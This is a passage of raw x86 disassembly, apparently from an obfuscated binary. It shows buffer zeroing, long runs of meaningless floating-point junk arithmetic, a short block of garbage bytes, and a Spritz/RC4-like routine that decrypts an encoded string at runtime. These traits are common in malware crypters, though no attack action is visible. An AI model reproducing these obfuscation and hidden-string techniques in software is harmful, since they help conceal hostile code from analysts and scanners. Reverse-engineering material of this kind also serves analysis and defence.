mov edx, dword [ebp - 0x18e0]
mov dword [ecx + 0x18], edx
mov dword [ebp - 0xdbc], 0x208
mov eax, dword [ebp - 0x1f4]
mov ecx, dword [eax + 0x18]
mov dword [ebp - 0x18e4], ecx
mov edx, dword [ebp - 0x18e4]
mov dword [ebp - 0xdb8], edx
cmp dword [ebp - 0xdbc], 0
je 0x484d06
mov eax, dword [ebp - 0xdb8]
mov byte [eax], 0
mov ecx, dword [ebp - 0xdb8]
add ecx, 1
mov dword [ebp - 0xdb8], ecx
mov edx, dword [ebp - 0xdbc]
sub edx, 1
mov dword [ebp - 0xdbc], edx
jmp 0x484cd4
push 0x1000
call fcn.0051c123
add esp, 4
mov dword [ebp - 0x18ec], eax
mov eax, dword [ebp - 0x1f4]
mov ecx, dword [ebp - 0x18ec]
mov dword [eax + 8], ecx
mov dword [ebp - 0xdc4], 0x1000
mov edx, dword [ebp - 0x1f4]
mov eax, dword [edx + 8]
mov dword [ebp - 0x18f0], eax
mov ecx, dword [ebp - 0x18f0]
mov dword [ebp - 0xdc0], ecx
cmp dword [ebp - 0xdc4], 0
je 0x484d7f
mov edx, dword [ebp - 0xdc0]
mov byte [edx], 0
mov eax, dword [ebp - 0xdc0]
add eax, 1
mov dword [ebp - 0xdc0], eax
mov ecx, dword [ebp - 0xdc4]
sub ecx, 1
mov dword [ebp - 0xdc4], ecx
jmp 0x484d4d
push 0x208
call fcn.0051c123
add esp, 4
mov dword [ebp - 0x18f4], eax
mov edx, dword [ebp - 0x1f4]
mov eax, dword [ebp - 0x18f4]
mov dword [edx + 4], eax
mov dword [ebp - 0xd7c], 0x208
mov ecx, dword [ebp - 0x1f4]
mov edx, dword [ecx + 4]
mov dword [ebp - 0x18f8], edx
mov eax, dword [ebp - 0x18f8]
mov dword [ebp - 0xd78], eax
cmp dword [ebp - 0xd7c], 0
je 0x484df8
mov ecx, dword [ebp - 0xd78]
mov byte [ecx], 0
mov edx, dword [ebp - 0xd78]
add edx, 1
mov dword [ebp - 0xd78], edx
mov eax, dword [ebp - 0xd7c]
sub eax, 1
mov dword [ebp - 0xd7c], eax
jmp 0x484dc6
push 0x208
call fcn.0051c123
add esp, 4
mov dword [ebp - 0x18fc], eax
mov ecx, dword [ebp - 0x1f4]
mov edx, dword [ebp - 0x18fc]
mov dword [ecx + 0x20], edx
mov dword [ebp - 0xde8], 0x208
mov eax, dword [ebp - 0x1f4]
mov ecx, dword [eax + 0x20]
mov dword [ebp - 0x1900], ecx
mov edx, dword [ebp - 0x1900]
mov dword [ebp - 0xd84], edx
cmp dword [ebp - 0xde8], 0
je 0x484e71
mov eax, dword [ebp - 0xd84]
mov byte [eax], 0
mov ecx, dword [ebp - 0xd84]
add ecx, 1
mov dword [ebp - 0xd84], ecx
mov edx, dword [ebp - 0xde8]
sub edx, 1
mov dword [ebp - 0xde8], edx
jmp 0x484e3f
push 0x208
call fcn.0051c123
add esp, 4
mov dword [ebp - 0x1904], eax
mov eax, dword [ebp - 0x1f4]
mov ecx, dword [ebp - 0x1904]
mov dword [eax + 0x1c], ecx
mov dword [ebp - 0xe10], 0x208
mov edx, dword [ebp - 0x1f4]
mov eax, dword [edx + 0x1c]
mov dword [ebp - 0x1908], eax
mov ecx, dword [ebp - 0x1908]
mov dword [ebp - 0xe08], ecx
cmp dword [ebp - 0xe10], 0
je 0x484eea
mov edx, dword [ebp - 0xe08]
mov byte [edx], 0
mov eax, dword [ebp - 0xe08]
add eax, 1
mov dword [ebp - 0xe08], eax
mov ecx, dword [ebp - 0xe10]
sub ecx, 1
mov dword [ebp - 0xe10], ecx
jmp 0x484eb8
mov dword [ebp - 0x134], 0
mov dword [ebp - 0x138], 0
xorps xmm0, xmm0
movsd qword [ebp - 0xc38], xmm0
xorps xmm0, xmm0
movsd qword [ebp - 0xb98], xmm0
xorps xmm0, xmm0
movsd qword [ebp - 0xb98], xmm0
jmp 0x484f39
movsd xmm0, qword [ebp - 0xb98]
addsd xmm0, qword [0x580ac8]
movsd qword [ebp - 0xb98], xmm0
movsd xmm0, qword [0x582100]
comisd xmm0, xmmword [ebp - 0xb98]
jbe 0x484fea
movsd xmm0, qword [0x5820a0]
mulsd xmm0, qword [ebp - 0xb98]
mulsd xmm0, qword [ebp - 0xb98]
movsd xmm1, qword [ebp - 0xb98]
mulsd xmm1, qword [ebp - 0xb98]
subsd xmm0, xmm1
movsd xmm1, qword [0x580b20]
mulsd xmm1, qword [ebp - 0xb98]
mulsd xmm1, qword [ebp - 0xb98]
addsd xmm1, qword [0x581f20]
divsd xmm0, xmm1
addsd xmm0, qword [ebp - 0xc38]
movsd qword [ebp - 0xc38], xmm0
movsd xmm0, qword [ebp - 0xc38]
comisd xmm0, xmmword [0x580ce8]
jbe 0x484fe5
movsd xmm0, qword [0x581da8]
mulsd xmm0, qword [ebp - 0xb98]
movsd xmm1, qword [ebp - 0xc38]
subsd xmm1, xmm0
movsd qword [ebp - 0xc38], xmm1
jmp 0x484f21
xorps xmm0, xmm0
comisd xmm0, xmmword [ebp - 0xc38]
jbe 0x485030
push edx
imul eax, dword [ecx + 0x56], 0x67553c76
dec edi
push eax
pop eax
js 0x48505e
cmp esi, dword [ebp + 0x7e]
inc esp
and edi, dword [ebx + eax*2]
pop eax
and dword [edi], edi
push ss
cmp dword [ecx], ebx
cmp byte [edi], cl
cmp dl, byte [ecx]
aaa
push cs
cmp eax, 0x390a3b14
or edi, dword [edx]
adc dword [ecx + 0x15], eax
cmp al, 0x15
xor eax, 0x3e13380d
push ss
inc ebx
push ss
jmp 0x486e81
mov dword [ebp - 0x134], 0x48500d
mov dword [ebp - 0x138], 0x484ff7
mov edx, dword [ebp - 0x134]
mov dword [ebp - 0x6d8], edx
mov eax, dword [ebp - 0x138]
mov dword [ebp - 0x190c], eax
mov byte [ebp - 0x762], 0x1a
mov dword [ebp - 0x450], 0
jmp 0x48507e
sahf
clc
invalid
mov ecx, dword [ebp - 0x450]
add ecx, 1
mov dword [ebp - 0x450], ecx
cmp dword [ebp - 0x450], 0x100
jae 0x48509f
mov edx, dword [ebp - 0x450]
mov al, byte [ebp - 0x450]
mov byte [ebp + edx - 0x1bd0], al
jmp 0x48506f
mov dword [ebp - 0xa68], 0
mov byte [ebp - 0x1fd], 0
mov dword [ebp - 0x450], 0xff
jmp 0x4850cb
mov ecx, dword [ebp - 0x450]
sub ecx, 1
mov dword [ebp - 0x450], ecx
cmp dword [ebp - 0x450], 0
jbe 0x48533b
mov dword [ebp - 0xe14], 0
mov dword [ebp - 0xcb4], 1
mov edx, dword [ebp - 0xcb4]
cmp edx, dword [ebp - 0x450]
jae 0x48510c
mov eax, dword [ebp - 0xcb4]
lea ecx, [eax + eax + 1]
mov dword [ebp - 0xcb4], ecx
jmp 0x4850ec
mov edx, dword [ebp - 0xa68]
mov dword [ebp - 0xf50], edx
cmp dword [ebp - 0xf50], 3
ja case.default.0x48512b
mov eax, dword [ebp - 0xf50]
jmp dword [eax*4 + 0x495124]
movzx ecx, byte [ebp - 0x1fd]
movzx ebx, byte [ebp + ecx - 0x1bd0]
movsd xmm0, qword [ebp - 0xc38]
call fcn.0051c6e0
and eax, 0xff
add ebx, eax
mov byte [ebp - 0x1fd], bl
jmp 0x485214
movzx edx, byte [ebp - 0x1fd]
movzx ebx, byte [ebp + edx - 0x1bd0]
movsd xmm0, qword [ebp - 0xc38]
call fcn.0051c6e0
shr eax, 8
and eax, 0xff
add ebx, eax
mov byte [ebp - 0x1fd], bl
jmp 0x485214
movzx eax, byte [ebp - 0x1fd]
movzx ebx, byte [ebp + eax - 0x1bd0]
movsd xmm0, qword [ebp - 0xc38]
call fcn.0051c6e0
shr eax, 0x10
and eax, 0xff
add ebx, eax
mov byte [ebp - 0x1fd], bl
jmp 0x485214
movzx ecx, byte [ebp - 0x1fd]
movzx ebx, byte [ebp + ecx - 0x1bd0]
movsd xmm0, qword [ebp - 0xc38]
call fcn.0051c6e0
shr eax, 0x18
and eax, 0xff
add ebx, eax
mov byte [ebp - 0x1fd], bl
jmp 0x485214
movzx edx, byte [ebp - 0x1fd]
movzx eax, byte [ebp + edx - 0x1bd0]
mov ecx, dword [ebp - 0x190c]
add ecx, dword [ebp - 0xa68]
movzx edx, byte [ecx - 4]
add eax, edx
mov byte [ebp - 0x1fd], al
mov eax, dword [ebp - 0xa68]
add eax, 1
mov dword [ebp - 0xa68], eax
movzx ecx, byte [ebp - 0x762]
cmp dword [ebp - 0xa68], ecx
jb 0x485252
mov dword [ebp - 0xa68], 0
movzx edx, byte [ebp - 0x762]
movzx eax, byte [ebp - 0x1fd]
add eax, edx
mov byte [ebp - 0x1fd], al
movzx ecx, byte [ebp - 0x1fd]
and ecx, dword [ebp - 0xcb4]
mov dword [ebp - 0x920], ecx
mov edx, dword [ebp - 0xe14]
add edx, 1
mov dword [ebp - 0xe14], edx
cmp dword [ebp - 0xe14], 0xb
jbe 0x485291
mov eax, dword [ebp - 0x920]
xor edx, edx
div dword [ebp - 0x450]
mov dword [ebp - 0x920], edx
mov eax, dword [ebp - 0x920]
cmp eax, dword [ebp - 0x450]
ja 0x48510c
mov ecx, dword [ebp - 0x450]
cmp ecx, dword [ebp - 0x920]
je 0x485336
mov edx, dword [ebp - 0x920]
movzx eax, byte [ebp + edx - 0x1bd0]
mov ecx, dword [ebp - 0x450]
movzx edx, byte [ebp + ecx - 0x1bd0]
xor edx, eax
mov eax, dword [ebp - 0x450]
mov byte [ebp + eax - 0x1bd0], dl
mov ecx, dword [ebp - 0x450]
movzx edx, byte [ebp + ecx - 0x1bd0]
mov eax, dword [ebp - 0x920]
movzx ecx, byte [ebp + eax - 0x1bd0]
xor ecx, edx
mov edx, dword [ebp - 0x920]
mov byte [ebp + edx - 0x1bd0], cl
mov eax, dword [ebp - 0x920]
movzx ecx, byte [ebp + eax - 0x1bd0]
mov edx, dword [ebp - 0x450]
movzx eax, byte [ebp + edx - 0x1bd0]
xor eax, ecx
mov ecx, dword [ebp - 0x450]
mov byte [ebp + ecx - 0x1bd0], al
jmp 0x4850bc
mov edx, 1
shl edx, 0
mov al, byte [ebp + edx - 0x1bd0]
mov byte [ebp - 0x1a6], al
mov ecx, 1
imul edx, ecx, 3
mov al, byte [ebp + edx - 0x1bd0]
mov byte [ebp - 0x1b5], al
mov ecx, 1
imul edx, ecx, 5
mov al, byte [ebp + edx - 0x1bd0]
mov byte [ebp - 0x1dd], al
mov ecx, 1
imul edx, ecx, 7
mov al, byte [ebp + edx - 0x1bd0]
mov byte [ebp - 0x1b8], al
movzx ecx, byte [ebp - 0x1fd]
mov dl, byte [ebp + ecx - 0x1bd0]
mov byte [ebp - 0x1cc], dl
mov dword [ebp - 0xf54], 0x1e
cmp dword [ebp - 0xf54], 2
jle 0x486e33
mov eax, dword [ebp - 0xf54]
and eax, 1
jne 0x486e33
mov dword [ebp - 0x240], 0
mov dword [ebp - 0x454], 0
mov ecx, dword [ebp - 0x454]
add ecx, 1
mov dword [ebp - 0x454], ecx
mov dword [ebp - 0x6e8], 0
mov edx, dword [ebp - 0x240]
shl edx, 1
mov dword [ebp - 0x6e8], edx
mov dword [ebp - 0x68c], 0
mov eax, dword [ebp - 0x6d8]
add eax, dword [ebp - 0x6e8]
movzx ecx, byte [eax]
add ecx, dword [ebp - 0x68c]
mov dword [ebp - 0x68c], ecx
mov dword [ebp - 0x688], 0
mov edx, dword [ebp - 0x688]
add edx, 0x35
mov dword [ebp - 0x688], edx
mov dword [ebp - 0x6d4], 0
mov eax, dword [ebp - 0x240]
lea ecx, [eax + eax + 1]
mov dword [ebp - 0x6d4], ecx
mov dword [ebp - 0x684], 0
mov edx, dword [ebp - 0x6d8]
add edx, dword [ebp - 0x6d4]
movzx eax, byte [edx]
add eax, dword [ebp - 0x684]
mov dword [ebp - 0x684], eax
mov dword [ebp - 0x680], 0
mov ecx, dword [ebp - 0x680]
add ecx, 0xa
mov dword [ebp - 0x680], ecx
mov dword [ebp - 0x67c], 0
mov edx, dword [ebp - 0x68c]
sub edx, dword [ebp - 0x688]
add edx, dword [ebp - 0x67c]
mov dword [ebp - 0x67c], edx
mov dword [ebp - 0x668], 0
mov eax, dword [ebp - 0x684]
sub eax, dword [ebp - 0x680]
add eax, dword [ebp - 0x668]
mov dword [ebp - 0x668], eax
mov dword [ebp - 0x6e4], 0
mov ecx, dword [ebp - 0x67c]
shl ecx, 4
mov dword [ebp - 0x6e4], ecx
mov dword [ebp - 0x6d0], 0
mov edx, dword [ebp - 0x668]
mov dword [ebp - 0x6d0], edx
mov dword [ebp - 0x6cc], 0
mov eax, dword [ebp - 0x6e4]
or eax, dword [ebp - 0x6d0]
mov dword [ebp - 0x6cc], eax
mov byte [ebp - 0x1de], 0
mov cl, byte [ebp - 0x6cc]
mov byte [ebp - 0x1de], cl
mov byte [ebp - 0x1dc], 0
movzx edx, byte [ebp - 0x1cc]
mov al, byte [ebp + edx - 0x1bd0]
mov byte [ebp - 0x1dc], al
movzx ecx, byte [ebp - 0x1a6]
movzx edx, byte [ebp + ecx - 0x1bd0]
mov dword [ebp - 0x1910], edx
mov al, byte [ebp - 0x1a6]
add al, 1
mov byte [ebp - 0x1a6], al
movzx ecx, byte [ebp - 0x1b5]
add ecx, dword [ebp - 0x1910]
mov byte [ebp - 0x1b5], cl
movzx edx, byte [ebp - 0x1b5]
movzx eax, byte [ebp - 0x1cc]
mov cl, byte [ebp + edx - 0x1bd0]
mov byte [ebp + eax - 0x1bd0], cl
movzx edx, byte [ebp - 0x1b8]
movzx eax, byte [ebp - 0x1b5]
mov cl, byte [ebp + edx - 0x1bd0]
mov byte [ebp + eax - 0x1bd0], cl
movzx edx, byte [ebp - 0x1a6]
movzx eax, byte [ebp - 0x1b8]
mov cl, byte [ebp + edx - 0x1bd0]
mov byte [ebp + eax - 0x1bd0], cl
movzx edx, byte [ebp - 0x1a6]
mov al, byte [ebp - 0x1dc]
mov byte [ebp + edx - 0x1bd0], al
movzx ecx, byte [ebp - 0x1dc]
movzx edx, byte [ebp + ecx - 0x1bd0]
movzx eax, byte [ebp - 0x1dd]
add eax, edx
mov byte [ebp - 0x1dd], al
movzx ecx, byte [ebp - 0x1de]
movzx edx, byte [ebp - 0x1b5]
movzx eax, byte [ebp + edx - 0x1bd0]
movzx edx, byte [ebp - 0x1a6]
movzx edx, byte [ebp + edx - 0x1bd0]
add eax, edx
and eax, 0xff
movzx eax, byte [ebp + eax - 0x1bd0]
xor ecx, eax
movzx edx, byte [ebp - 0x1b8]
movzx eax, byte [ebp + edx - 0x1bd0]
movzx edx, byte [ebp - 0x1cc]
movzx edx, byte [ebp + edx - 0x1bd0]
add eax, edx
movzx edx, byte [ebp - 0x1dd]
movzx edx, byte [ebp + edx - 0x1bd0]
add eax, edx
and eax, 0xff
movzx eax, byte [ebp + eax - 0x1bd0]
movzx edx, byte [ebp + eax - 0x1bd0]
xor ecx, edx
mov byte [ebp - 0x1b8], cl
mov al, byte [ebp - 0x1de]
mov byte [ebp - 0x1cc], al
mov cl, byte [ebp - 0x1b8]
mov byte [ebp - 0x225], cl
cmp dword [ebp - 0x240], 0
jle 0x4856cb
mov edx, dword [ebp - 0x240]
mov al, byte [ebp - 0x225]
mov byte [ebp + edx - 0x81], al
movsd xmm0, qword [0x582730]
movsd qword [ebp - 0x890], xmm0
movsd xmm0, qword [0x582668]
movsd qword [ebp - 0x7fc], xmm0
movsd xmm0, qword [0x5824e0]
movsd qword [ebp - 0x994], xmm0
movsd xmm0, qword [0x5823a0]
movsd qword [ebp - 0x804], xmm0
movsd xmm0, qword [0x5821a8]
movsd qword [ebp - 0x8d0], xmm0
movsd xmm0, qword [ebp - 0x890]
subsd xmm0, qword [ebp - 0x8d0]
movsd qword [ebp - 0x890], xmm0
movsd xmm0, qword [ebp - 0x804]
mulsd xmm0, qword [ebp - 0x8d0]
movsd qword [ebp - 0x804], xmm0
movsd xmm0, qword [ebp - 0x994]
addsd xmm0, qword [ebp - 0x8d0]
movsd qword [ebp - 0x994], xmm0
movsd xmm0, qword [ebp - 0x890]
subsd xmm0, qword [ebp - 0x8d0]
movsd qword [ebp - 0x890], xmm0
movsd xmm0, qword [ebp - 0x994]
addsd xmm0, qword [ebp - 0x8d0]
movsd qword [ebp - 0x994], xmm0
movsd xmm0, qword [ebp - 0x804]
comisd xmm0, xmmword [ebp - 0x8d0]
jbe 0x485835
movsd xmm0, qword [ebp - 0x7fc]
mulsd xmm0, qword [ebp - 0x994]
movsd qword [ebp - 0x7fc], xmm0
movsd xmm0, qword [ebp - 0x804]
mulsd xmm0, qword [ebp - 0x8d0]
movsd qword [ebp - 0x804], xmm0
movsd xmm0, qword [ebp - 0x8d0]
subsd xmm0, qword [ebp - 0x890]
movsd qword [ebp - 0x8d0], xmm0
movsd xmm0, qword [ebp - 0x8d0]
mulsd xmm0, qword [ebp - 0x890]
movsd qword [ebp - 0x8d0], xmm0
movsd xmm0, qword [ebp - 0x804]
mulsd xmm0, qword [ebp - 0x8d0]
movsd qword [ebp - 0x804], xmm0
mov ecx, dword [ebp - 0x454]
add ecx, 5
mov dword [ebp - 0x454], ecx
jmp 0x485a29
movsd xmm0, qword [ebp - 0x7fc]
mulsd xmm0, qword [ebp - 0x994]
movsd qword [ebp - 0x7fc], xmm0
movsd xmm0, qword [ebp - 0x890]
subsd xmm0, qword [ebp - 0x7fc]
movsd qword [ebp - 0x890], xmm0
movsd xmm0, qword [ebp - 0x7fc]
divsd xmm0, qword [ebp - 0x994]
movsd qword [ebp - 0x7fc], xmm0
movsd xmm0, qword [ebp - 0x890]
mulsd xmm0, qword [ebp - 0x7fc]
movsd qword [ebp - 0x890], xmm0
movsd xmm0, qword [ebp - 0x8d0]
subsd xmm0, qword [ebp - 0x890]
movsd qword [ebp - 0x8d0], xmm0
movsd xmm0, qword [ebp - 0x7fc]
mulsd xmm0, qword [ebp - 0x994]
movsd qword [ebp - 0x7fc], xmm0
movsd xmm0, qword [ebp - 0x7fc]
divsd xmm0, qword [ebp - 0x994]
movsd qword [ebp - 0x7fc], xmm0
movsd xmm0, qword [ebp - 0x890]
addsd xmm0, qword [ebp - 0x7fc]
movsd qword [ebp - 0x890], xmm0
movsd xmm0, qword [ebp - 0x804]
divsd xmm0, qword [ebp - 0x8d0]
movsd qword [ebp - 0x804], xmm0
movsd xmm0, qword [ebp - 0x804]
subsd xmm0, qword [ebp - 0x8d0]
movsd qword [ebp - 0x804], xmm0
movsd xmm0, qword [ebp - 0x804]
comisd xmm0, xmmword [ebp - 0x890]
jbe 0x4859b1
movsd xmm0, qword [ebp - 0x8d0]
addsd xmm0, qword [ebp - 0x7fc]
movsd qword [ebp - 0x8d0], xmm0
movsd xmm0, qword [ebp - 0x804]
addsd xmm0, qword [ebp - 0x890]
movsd qword [ebp - 0x804], xmm0
movsd xmm0, qword [ebp - 0x7fc]
addsd xmm0, qword [ebp - 0x804]
movsd qword [ebp - 0x7fc], xmm0
movsd xmm0, qword [ebp - 0x7fc]
addsd xmm0, qword [ebp - 0x804]
movsd qword [ebp - 0x7fc], xmm0
movsd xmm0, qword [ebp - 0x804]
addsd xmm0, qword [ebp - 0x890]
movsd qword [ebp - 0x804], xmm0
jmp 0x485a29
movsd xmm0, qword [ebp - 0x994]
addsd xmm0, qword [ebp - 0x804]
movsd qword [ebp - 0x994], xmm0
movsd xmm0, qword [ebp - 0x994]
mulsd xmm0, qword [ebp - 0x804]
movsd qword [ebp - 0x994], xmm0
movsd xmm0, qword [ebp - 0x890]
addsd xmm0, qword [ebp - 0x7fc]
movsd qword [ebp - 0x890], xmm0
movsd xmm0, qword [ebp - 0x7fc]
divsd xmm0, qword [ebp - 0x994]
movsd qword [ebp - 0x7fc], xmm0
movsd xmm0, qword [ebp - 0x994]
mulsd xmm0, qword [ebp - 0x804]
movsd qword [ebp - 0x994], xmm0
mov edx, dword [ebp - 0x240]
add edx, 1
mov dword [ebp - 0xd0c], edx
jmp 0x485a49
mov eax, dword [ebp - 0xd0c]
add eax, 1
mov dword [ebp - 0xd0c], eax
mov ecx, dword [ebp - 0xd0c]
cmp ecx, dword [ebp - 0x454]
jge 0x485cb3
mov edx, dword [ebp - 0x240]
add edx, 1
mov dword [ebp - 0x240], edx
mov eax, dword [ebp - 0x240]
shl eax, 1
mov dword [ebp - 0x6e8], eax
mov ecx, dword [ebp - 0x6d8]
add ecx, dword [ebp - 0x6e8]
movzx edx, byte [ecx]
mov dword [ebp - 0x68c], edx
mov dword [ebp - 0x688], 0x35
mov eax, dword [ebp - 0x240]
lea ecx, [eax + eax + 1]
mov dword [ebp - 0x6d4], ecx
mov edx, dword [ebp - 0x6d8]
add edx, dword [ebp - 0x6d4]
movzx eax, byte [edx]
mov dword [ebp - 0x684], eax
mov dword [ebp - 0x680], 0xa
mov ecx, dword [ebp - 0x68c]
sub ecx, dword [ebp - 0x688]
mov dword [ebp - 0x67c], ecx
mov edx, dword [ebp - 0x684]
sub edx, dword [ebp - 0x680]
mov dword [ebp - 0x668], edx
mov eax, dword [ebp - 0x67c]
shl eax, 4
mov dword [ebp - 0x6e4], eax
mov ecx, dword [ebp - 0x668]
mov dword [ebp - 0x6d0], ecx
mov edx, dword [ebp - 0x6e4]
or edx, dword [ebp - 0x6d0]
mov dword [ebp - 0x6cc], edx
mov al, byte [ebp - 0x6cc]
mov byte [ebp - 0x1de], al
movzx ecx, byte [ebp - 0x1cc]
mov dl, byte [ebp + ecx - 0x1bd0]
mov byte [ebp - 0x1dc], dl
movzx eax, byte [ebp - 0x1a6]
movzx ecx, byte [ebp + eax - 0x1bd0]
mov dword [ebp - 0x1914], ecx
mov dl, byte [ebp - 0x1a6]
add dl, 1
mov byte [ebp - 0x1a6], dl
movzx eax, byte [ebp - 0x1b5]
add eax, dword [ebp - 0x1914]
mov byte [ebp - 0x1b5], al
movzx ecx, byte [ebp - 0x1b5]
movzx edx, byte [ebp - 0x1cc]
mov al, byte [ebp + ecx - 0x1bd0]
mov byte [ebp + edx - 0x1bd0], al
movzx ecx, byte [ebp - 0x1b8]
movzx edx, byte [ebp - 0x1b5]
mov al, byte [ebp + ecx - 0x1bd0]
mov byte [ebp + edx - 0x1bd0], al
movzx ecx, byte [ebp - 0x1a6]
movzx edx, byte [ebp - 0x1b8]
mov al, byte [ebp + ecx - 0x1bd0]
mov byte [ebp + edx - 0x1bd0], al
movzx ecx, byte [ebp - 0x1a6]
mov dl, byte [ebp - 0x1dc]
mov byte [ebp + ecx - 0x1bd0], dl
movzx eax, byte [ebp - 0x1dc]
movzx ecx, byte [ebp + eax - 0x1bd0]
movzx edx, byte [ebp - 0x1dd]
add edx, ecx
mov byte [ebp - 0x1dd], dl
movzx eax, byte [ebp - 0x1de]
movzx ecx, byte [ebp - 0x1b5]
movzx edx, byte [ebp + ecx - 0x1bd0]
movzx ecx, byte [ebp - 0x1a6]
movzx ecx, byte [ebp + ecx - 0x1bd0]
add edx, ecx
and edx, 0xff
movzx edx, byte [ebp + edx - 0x1bd0]
xor eax, edx
movzx ecx, byte [ebp - 0x1b8]
movzx edx, byte [ebp + ecx - 0x1bd0]
movzx ecx, byte [ebp - 0x1cc]
movzx ecx, byte [ebp + ecx - 0x1bd0]
add edx, ecx
movzx ecx, byte [ebp - 0x1dd]
movzx ecx, byte [ebp + ecx - 0x1bd0]
add edx, ecx
and edx, 0xff
movzx edx, byte [ebp + edx - 0x1bd0]
movzx ecx, byte [ebp + edx - 0x1bd0]
xor eax, ecx
mov byte [ebp - 0x1b8], al
mov dl, byte [ebp - 0x1de]
mov byte [ebp - 0x1cc], dl
mov al, byte [ebp - 0x1b8]
mov byte [ebp - 0x225], al
cmp dword [ebp - 0x240], 0
jle 0x485cae
mov ecx, dword [ebp - 0x240]
mov dl, byte [ebp - 0x225]
mov byte [ebp + ecx - 0x81], dl
jmp 0x485a3a
mov eax, dword [ebp - 0x454]
add eax, 1
mov dword [ebp - 0x454], eax
mov ecx, dword [ebp - 0x454]
add ecx, 6
mov dword [ebp - 0x454], ecx
mov edx, dword [ebp - 0x240]
add edx, 1
mov dword [ebp - 0xd10], edx
jmp 0x485cf1
mov eax, dword [ebp - 0xd10]
add eax, 1
mov dword [ebp - 0xd10], eax
mov ecx, dword [ebp - 0xd10]
cmp ecx, dword [ebp - 0x454]
jge 0x485f5b
mov edx, dword [ebp - 0x240]
add edx, 1
mov dword [ebp - 0x240], edx
mov eax, dword [ebp - 0x240]
shl eax, 1
mov dword [ebp - 0x6e8], eax
mov ecx, dword [ebp - 0x6d8]
add ecx, dword [ebp - 0x6e8]
movzx edx, byte [ecx]
mov dword [ebp - 0x68c], edx
mov dword [ebp - 0x688], 0x35
mov eax, dword [ebp - 0x240]
lea ecx, [eax + eax + 1]
mov dword [ebp - 0x6d4], ecx
mov edx, dword [ebp - 0x6d8]
add edx, dword [ebp - 0x6d4]
movzx eax, byte [edx]
mov dword [ebp - 0x684], eax
mov dword [ebp - 0x680], 0xa
mov ecx, dword [ebp - 0x68c]
sub ecx, dword [ebp - 0x688]
mov dword [ebp - 0x67c], ecx
mov edx, dword [ebp - 0x684]
sub edx, dword [ebp - 0x680]
mov dword [ebp - 0x668], edx
mov eax, dword [ebp - 0x67c]
shl eax, 4
mov dword [ebp - 0x6e4], eax
mov ecx, dword [ebp - 0x668]
mov dword [ebp - 0x6d0], ecx
mov edx, dword [ebp - 0x6e4]
or edx, dword [ebp - 0x6d0]
mov dword [ebp - 0x6cc], edx
mov al, byte [ebp - 0x6cc]
mov byte [ebp - 0x1de], al
movzx ecx, byte [ebp - 0x1cc]
mov dl, byte [ebp + ecx - 0x1bd0]
mov byte [ebp - 0x1dc], dl
movzx eax, byte [ebp - 0x1a6]
movzx ecx, byte [ebp + eax - 0x1bd0]
mov dword [ebp - 0x1918], ecx
mov dl, byte [ebp - 0x1a6]
add dl, 1
mov byte [ebp - 0x1a6], dl
movzx eax, byte [ebp - 0x1b5]
add eax, dword [ebp - 0x1918]
mov byte [ebp - 0x1b5], al
movzx ecx, byte [ebp - 0x1b5]
movzx edx, byte [ebp - 0x1cc]
mov al, byte [ebp + ecx - 0x1bd0]
mov byte [ebp + edx - 0x1bd0], al
movzx ecx, byte [ebp - 0x1b8]
movzx edx, byte [ebp - 0x1b5]
mov al, byte [ebp + ecx - 0x1bd0]
mov byte [ebp + edx - 0x1bd0], al
movzx ecx, byte [ebp - 0x1a6]
movzx edx, byte [ebp - 0x1b8]
mov al, byte [ebp + ecx - 0x1bd0]
mov byte [ebp + edx - 0x1bd0], al
movzx ecx, byte [ebp - 0x1a6]
mov dl, byte [ebp - 0x1dc]
mov byte [ebp + ecx - 0x1bd0], dl
movzx eax, byte [ebp - 0x1dc]
movzx ecx, byte [ebp + eax - 0x1bd0]
movzx edx, byte [ebp - 0x1dd]
add edx, ecx
mov byte [ebp - 0x1dd], dl
movzx eax, byte [ebp - 0x1de]
movzx ecx, byte [ebp - 0x1b5]
movzx edx, byte [ebp + ecx - 0x1bd0]
movzx ecx, byte [ebp - 0x1a6]
movzx ecx, byte [ebp + ecx - 0x1bd0]
add edx, ecx
and edx, 0xff
movzx edx, byte [ebp + edx - 0x1bd0]
xor eax, edx
movzx ecx, byte [ebp - 0x1b8]
movzx edx, byte [ebp + ecx - 0x1bd0]
movzx ecx, byte [ebp - 0x1cc]
movzx ecx, byte [ebp + ecx - 0x1bd0]
add edx, ecx
movzx ecx, byte [ebp - 0x1dd]
movzx ecx, byte [ebp + ecx - 0x1bd0]
add edx, ecx
and edx, 0xff
movzx edx, byte [ebp + edx - 0x1bd0]
movzx ecx, byte [ebp + edx - 0x1bd0]
xor eax, ecx
mov byte [ebp - 0x1b8], al
mov dl, byte [ebp - 0x1de]
mov byte [ebp - 0x1cc], dl
mov al, byte [ebp - 0x1b8]
mov byte [ebp - 0x225], al
cmp dword [ebp - 0x240], 0
jle 0x485f56
mov ecx, dword [ebp - 0x240]
mov dl, byte [ebp - 0x225]
mov byte [ebp + ecx - 0x81], dl
jmp 0x485ce2
mov eax, dword [ebp - 0x454]
add eax, 1
mov dword [ebp - 0x454], eax
mov ecx, dword [ebp - 0x240]
add ecx, 1
mov dword [ebp - 0x240], ecx
movsd xmm0, qword [0x582708]
movsd qword [ebp - 0x1048], xmm0
movsd xmm0, qword [0x582648]
movsd qword [ebp - 0x1664], xmm0
movsd xmm0, qword [0x582538]
movsd qword [ebp - 0xd00], xmm0
movsd xmm0, qword [0x582420]
movsd qword [ebp - 0x8b0], xmm0
movsd xmm0, qword [0x582300]
movsd qword [ebp - 0xcf0], xmm0
movsd xmm0, qword [0x582130]
movsd qword [ebp - 0xaa4], xmm0
movsd xmm0, qword [ebp - 0x8b0]
subsd xmm0, qword [ebp - 0xaa4]
movsd qword [ebp - 0x8b0], xmm0
movsd xmm0, qword [ebp - 0x8b0]
mulsd xmm0, qword [ebp - 0xaa4]
movsd qword [ebp - 0x8b0], xmm0
movsd xmm0, qword [ebp - 0x8b0]
mulsd xmm0, qword [ebp - 0xaa4]
movsd qword [ebp - 0x8b0], xmm0
movsd xmm0, qword [ebp - 0xcf0]
subsd xmm0, qword [ebp - 0xaa4]
movsd qword [ebp - 0xcf0], xmm0
movsd xmm0, qword [ebp - 0x8b0]
mulsd xmm0, qword [ebp - 0xaa4]
movsd qword [ebp - 0x8b0], xmm0
movsd xmm0, qword [ebp - 0x1048]
mulsd xmm0, qword [ebp - 0xaa4]
movsd qword [ebp - 0x1048], xmm0
movsd xmm0, qword [ebp - 0x8b0]
comisd xmm0, xmmword [ebp - 0xcf0]
jbe 0x486123
movsd xmm0, qword [ebp - 0x8b0]
addsd xmm0, qword [ebp - 0xcf0]
movsd qword [ebp - 0x8b0], xmm0
movsd xmm0, qword [ebp - 0xaa4]
subsd xmm0, qword [ebp - 0x1048]
